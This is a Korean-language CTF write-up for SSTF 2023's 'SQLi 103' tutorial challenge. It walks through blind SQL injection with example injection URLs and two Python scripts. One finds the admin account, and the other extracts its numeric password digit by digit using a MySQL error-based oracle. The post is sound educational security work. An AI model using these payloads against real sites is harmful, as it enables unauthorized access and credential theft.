이 영역을 누르면 첫 페이지로 이동
SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

페이지 맨 위로 올라가기

SH1R0_0의 기술블로그

[web] Tutorial - SQLi 103

  • 2024.01.10 20:50
  • 🚩 CTF Writeup/SSTF 2023

 

 

1. 문제 설명

Okay, you're getting familiar with web and sql!

 

Here's another lesson for you. :)

 

Find the password of the administrator.

 

http://sqli103.sstf.site/survey.php.

http://sqli103.sstf.site/check_id.php.

 

Keep in mind:

- There's pw column in the database.

- The password meets '\d{6,10}'.

- The flag will be SCTF{password of administrator}.

 

 

2. Writeup

이 문제는 게싱이 좀 심한 문제라서 적당히 풀이를 참고하며 풀었고, 다음과 같이 정리할 수 있다.

 

0) SQLi 103 문제 정리 (더보기 클릭)

더보기

문제의 목표

Blind SQL Injection을 통해 administrator의 패스워드 찾기

문제의 정보

  • survey.php 페이지는 answer 파라미터로 숫자만 입력받도록 설계되어 있다.
  • check_id.php 페이지는 id 파라미터를 통해 입력받은 사용자가 존재하는지에 대한 여부를 true/false로 반환한다.
  • 데이터베이스에는 pw 컬럼이 존재한다.
  • 패스워드는 '\d{6,10}' 형식을 만족한다. (비밀번호는 6~10자리의 숫자로 구성되어 있다)
  • FLAG는 SCTF{관리자의 비밀번호} 형식이다.

힌트

  • user_id와 is_admin 컬럼이 데이터베이스에 존재한다.
  • 다음과 같은 User ID가 존재한다.
    ["alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta", "theta", "iota", "kappa", "lambda", "admin", "notadmin"]

 

1) 관리자 계정 찾기

등록된 여러 ID 중 진짜 관리자 권한을 가진 계정을 찾아야 한다.

check_id.php 페이지에서 id 파라미터에 다음 값들을 입력해보면서 SQL Injection 취약점이 존재하는지 확인할 수 있다.

 

id 파라미터에 세미콜론 (') 을 입력하면 mysqli 경고 메시지를 확인할 수 있다.

이를 통해 서버는 mysql 을 사용하고 있다는 사실을 확인할 수 있다.

이후 id에 존재하지 않는 user id (ex. asdf)를 입력하고 'or 1=1-- -과 'or 1=2-- - 를 추가하여 결과값을 확인해보자.

 

Case 1)

http://sqli103.sstf.site/check_id.php?id=asdf' or 1=1-- -

Case 2)

http://sqli103.sstf.site/check_id.php?id=asdf' or 1=2-- -

이를 통해 id 파라미터를 이용하여 blind sql injection 을 수행하면 관리자 계정을 찾아낼 수 있다.

이 테이블에는 user_id와 is_admin 컬럼이 존재하기 때문에 id=alpha' and is_admin=1 -- - 쿼리를 입력하여 결과값을 보고 알아낼 수 있다.

 

따라서 admin 계정을 찾아내는 코드는 다음과 같이 작성할 수 있다.

import requests

accounts = ["alpha", "beta", "gamma", "delta", "epsilon", "zeta",
            "eta", "theta", "iota", "kappa", "lambda", "admin", "notadmin"]
is_admin = 1

url = 'http://sqli103.sstf.site/check_id.php?id='
query = f"{accounts[0]}' and is_admin={int(is_admin)} -- -"

for i in range(accounts.__len__()):
    query = f"{accounts[i]}' and is_admin={int(is_admin)} -- -"
    res = requests.get(url + query)
    if res.text.find("true") != -1:
        print(f"admin account : {accounts[i]}")
        break

 

2) 관리자 계정 비밀번호 찾기

관리자 계정이 epsilon이라는 사실을 알았고 이제 계정 비밀번호를 찾아야 한다.

survey.php 페이지에는 SQL Injection 취약점이 존재한다.

answer 파라미터에 sleep(5)를 입력하면 5초 뒤 사이트 응답이 오는것을 확인할 수 있다.

이를 통해 다음과 같이 관리자 계정의 패스워드 길이와 값을 알아내는 코드를 작성할 수 있다.

import requests

url = 'http://sqli103.sstf.site/survey.php?answer='


def find_length():
    print("[+] Find Length")
    num = 0
    while True:
        find_length_query = f"(select if(length(pw)={num}, pow(~0, ~0), 0) from member where user_id='epsilon')"
        res = requests.get(url + find_length_query)
        if res.text.find("DOUBLE value is out of range in 'pow(~(0),~(0))") != -1:
            print(f'length : {num}')
            break
        else:
            num += 1
    return num


def find_pw(len):
    print("[+] Find String")
    flag = 'SCTF{'
    for num in range(1, len+1):
        for byte in range(0, 11):
            find_string_query = f"if((select substr(pw,{int(num)},1) from member where user_id='epsilon')={int(byte)}, pow(~0, ~0), 0)"
            res = requests.get(url + find_string_query)
            if res.text.find("DOUBLE value is out of range in 'pow(~(0),~(0))") != -1:
                flag += str(byte)
                print(flag)
                break
    flag += '}'
    print(flag)


find_pw(find_length())

'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글

[pwn] Tutorial - BOF102  (0) 2024.01.10
[pwn] Tutorial - BOF101  (0) 2024.01.10
[web] Tutorial - SQLi 102  (0) 2024.01.10
[web] Tutorial - SQLi 101  (0) 2024.01.10
[web] Tutorial - XSS101  (0) 2024.01.10

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [pwn] Tutorial - BOF102

    [pwn] Tutorial - BOF102

    2024.01.10
  • [pwn] Tutorial - BOF101

    [pwn] Tutorial - BOF101

    2024.01.10
  • [web] Tutorial - SQLi 102

    [web] Tutorial - SQLi 102

    2024.01.10
  • [web] Tutorial - SQLi 101

    [web] Tutorial - SQLi 101

    2024.01.10
다른 글 더 둘러보기

정보

SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

  • SH1R0_0의 기술블로그의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록

카테고리

  • 분류 전체보기 (33)
    • 📖 Study (11)
      • Crypto (0)
      • WebHacking (3)
      • Reversing (0)
      • Pwnable (1)
      • Develop & CS (1)
      • Android (4)
      • Etc (2)
    • 🚩 CTF Writeup (14)
      • SSTF 2023 (8)
      • osu!gaming CTF 2024 (2)
      • WxMCTF '24 (4)
      • KalmarCTF 2024 (0)
    • 🎮 Dreamhack Writeup (8)
      • Web (7)
      • Pwnable (1)

최근 글

인기 글

댓글

공지사항

  • 공지 - 박민혁 (SH1R0_0)

아카이브

태그

나의 외부 링크

  • 관리자
  • 글쓰기
  • 공부

정보

SHIR0_0의 SH1R0_0의 기술블로그

SH1R0_0의 기술블로그

SHIR0_0

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © SHIR0_0.

티스토리툴바